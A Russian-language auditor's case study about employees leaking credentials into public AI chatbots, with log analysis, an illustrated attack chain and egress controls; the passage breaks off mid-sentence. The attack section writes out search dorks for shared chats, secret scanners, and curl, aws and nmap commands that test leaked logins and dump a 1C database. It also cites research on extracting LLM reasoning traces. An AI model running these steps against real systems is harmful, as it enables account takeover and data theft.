Формально задача звучала скромно: проверить, всё ли в порядке с доступами и паролями в оптовой компании. Никаких признаков взлома, никаких жалоб клиентов — просто плановый аудит «для порядка». На практике же самой уязвимой точкой инфраструктуры оказался не сервер и не 1С, а браузерная история сотрудников с открытыми вкладками публичных чат-ботов.
Что показал журнал прокси и история браузера
Первое, с чего начинается любой аудит такого рода — не сканер портов, а анализ исходящего трафика и логов на рабочих станциях. В этой компании прокси-сервер и локальный firewall фиксировали DNS-запросы и HTTP-заголовки, поэтому восстановить картину было относительно просто:
# Выгрузка обращений к внешним ИИ-сервисам за 90 дней из логов Squid/Zeek
zcat /var/log/squid/access.log*.gz | grep -Ei "openai\.com|anthropic\.com|chat\.deepseek|gemini\.google" | wc -l
# 1 847 обращений за 3 месяца, пиковые часы — 10:00-12:00 и 15:00-17:00
grep -Ei "openai\.com" /var/log/squid/access.log* | awk '{print $3}' | sort | uniq -c | sort -rn | head
# 612 10.10.4.21 (менеджер отдела продаж)
# 388 10.10.4.9 (бухгалтерия)
# 204 10.10.4.33 (логист)Дальше — экспорт истории самих чатов. Многие провайдеры дают пользователю ссылку «поделиться диалогом» (share-link), и часть сотрудников такими ссылками пользовались для «переслать боту в общий чат». По этим ссылкам и локальным кэшам браузера (IndexedDB/LocalStorage в Chrome) удалось восстановить содержимое переписки без всякого взлома серверов ИИ-провайдера — просто со стороны клиента.
# Поиск чувствительных паттернов в выгруженных текстах чатов
grep -RniE "password|пароль|api[_-]?key|секрет|токен доступа" ./chatlogs_export/ | head -20
chatlogs_export/manager3_2024-06-11.txt: "Вот переписка с клиентом, напиши ответ: логин ivanova@company.ru пароль Qwerty2024!"
chatlogs_export/logist1_2024-05-22.txt: "Подставь эти данные в письмо: ключ доступа AKIAxxxxxxxxxxxxxxxx"
chatlogs_export/buh2_2024-07-03.txt: "Посчитай скидки по таблице, вот пароль от базы: 1Cadmin@2023"Формально ни один из этих запросов не был «взломом» в привычном смысле. Люди просто копировали в чат-бот реальные письма, таблицы и куски базы, чтобы получить готовый текст или расчёт. Проблема в том, что весь этот массив данных ушёл за периметр компании и остался на серверах третьей стороны — вне контроля организации, вне регламентов хранения, вне возможности гарантированно удалить.
Как это эксплуатируется
Чтобы показать собственнику не абстрактный риск, а конкретный сценарий атаки, я собрал цепочку — как утечка такого типа обычно доходит до реального ущерба.
-
Разведка через дорки и паблик-шаринг. Значительная часть утечек через ИИ-чаты становится доступна публично из-за share-ссылок, которые индексируются поисковиками. Простейший Google-дорк вскрывает целые пласты таких диалогов:
Аналогично работают дорки по Bing и по поисковой выдаче внутри самих агрегаторов share-ссылок.site:chatgpt.com/share intext:"пароль" OR intext:"api_key" OR intext:"токен" site:chat.openai.com/share intitle:"1С" intext:"скидк" -
Массовый скан утечек секретов. Если у атакующего есть доступ к дампу переписки (например, купленному на теневом форуме или полученному через фишинг сотрудника), дальше в дело идут стандартные инструменты поиска секретов в текстовых массивах:
За пару минут gitleaks и trufflehog выдают структурированный список: где логин, где пароль, где похоже на API-ключ облачного провайдера.gitleaks detect --source ./chatlogs_export --no-git -v Finding: password Qwerty2024! ivanova@company.ru Secret: Qwerty2024! RuleID: generic-password File: manager3_2024-06-11.txt trufflehog filesystem ./chatlogs_export --json | jq '.DetectorName' "AWS" "GenericPassword" "1C-Credentials" -
Валидация найденных кредов. Найденный пароль ничего не стоит, пока его не проверили. Атакующий делает это быстро и тихо:
Оба запроса в реальном инциденте отработали бы с первого раза — пароли и ключ не были одноразовыми и не отзывались.# Проверка почтового логина через IMAP curl -v --url imaps://mail.company.ru --user "ivanova@company.ru:Qwerty2024!" * Connected to mail.company.ru < * OK IMAP4rev1 Ready < a LOGIN completed # Проверка ключа доступа к облачному хранилищу (S3-совместимое, напр. Яндекс Object Storage) aws s3 ls --endpoint-url=https://storage.yandexcloud.net --profile leaked 2024-05-01 09:12:34 prайс_2024_ключевой_клиент.xlsx 2024-05-01 09:12:41 база_контрагентов.csv -
Разведка веб-морды 1С, если утёк пароль от базы. Учётные данные от 1С сами по себе бесполезны без точки входа, поэтому следующий шаг — найти опубликованный веб-сервис:
Если веб-публикация 1С открыта наружу (а в небольших оптовых компаниях это нередко так — «чтобы менеджеры работали удалённо»), связка «утёкший пароль + открытый OData-сервис» даёт прямую выгрузку базы контрагентов, цен и остатков без единого 0-day.nmap -p 80,443,1540,1541,1560-1591 -sV company-external-ip PORT STATE SERVICE VERSION 443/tcp open http Apache httpd (1C:Enterprise 8.3 web-extension) 1541/tcp open unknown 1C:RAS/RAC cluster manager curl -s -u "admin:1Cadmin@2023" "https://company-external-ip/base/odata/standard.odata/Catalog_Контрагенты?$format=json" | jq '.value | length' 842
Что и почему сработало бы дальше
Дальше атака развивается по классической схеме BEC (Business Email Compromise) и утечки коммерческой тайны:
- Доступ к почте менеджера позволяет читать всю переписку с клиентами задним числом и включиться в переговоры под видом сотрудника — например, отправить «обновлённые реквизиты для оплаты» ключевому партнёру.
- Прайс с индивидуальными скидками для крупного клиента, попавший к конкуренту, обесценивает переговорную позицию компании мгновенно — конкурент просто предлагает на 1-2% дешевле именно там, где у клиента есть чувствительность к цене.
- Пароль от 1С, скопированный «для расчёта скидок», в связке с открытым наружу веб-сервисом даёт выгрузку не только прайса, но и всей клиентской базы, истории заказов, дебиторки — то, что обычно защищают строже всего.
- Одни и те же пароли часто переиспользуются (password reuse) — учётка от почты с высокой вероятностью откроет и CRM, и облачное хранилище, и личный кабинет банк-клиента, если пароль там похож.
Отдельная история — статья, о которой я рассказал собственнику: исследователи из ELLIS Institute Tübingen, Института Макса Планка и Snyk в препринте «Stealing Reasoning Traces from Proprietary LLM APIs» показали, что скрытые «черновики рассуждений» моделей Anthropic, OpenAI и Google можно восстанавливать почти дословно без взлома самой модели — через анализ ответов API. Прогнав метод по публичным репозиториям, они нашли 62 чужих API-ключа, 33 пароля и 24 токена доступа, случайно оставленных пользователями внутри таких «скрытых» черновиков. Это означает, что утечка происходит не только на уровне «сотрудник вставил пароль в чат», но и на уровне самого протокола работы с моделью — рисков в этой цепочке больше одного.
Как закрыли
Ничего из перечисленного не требовало серьёзного бюджета — только дисциплины и нескольких технических барьеров.
-
Egress-фильтрация на периметре. Прямой доступ к публичным ИИ-сервисам заведён через корпоративный шлюз с логированием, чтобы исключить «тихую» отправку данных мимо контроля:
nft add rule inet filter output ip daddr { 104.18.0.0/16, 172.64.0.0/13 } \ tcp dport {443} counter log prefix "AI-EGRESS: " accept # правило-триггер для DLP: объём исходящего трафика на домены ИИ выше порога alert http any any -> any any (msg:"Large upload to public LLM API"; \ content:"api.openai.com"; http_header; \ dsize:>50000; sid:1000201;) - Перевод рабочих сценариев на закрытый контур. Обезличенные и рабоч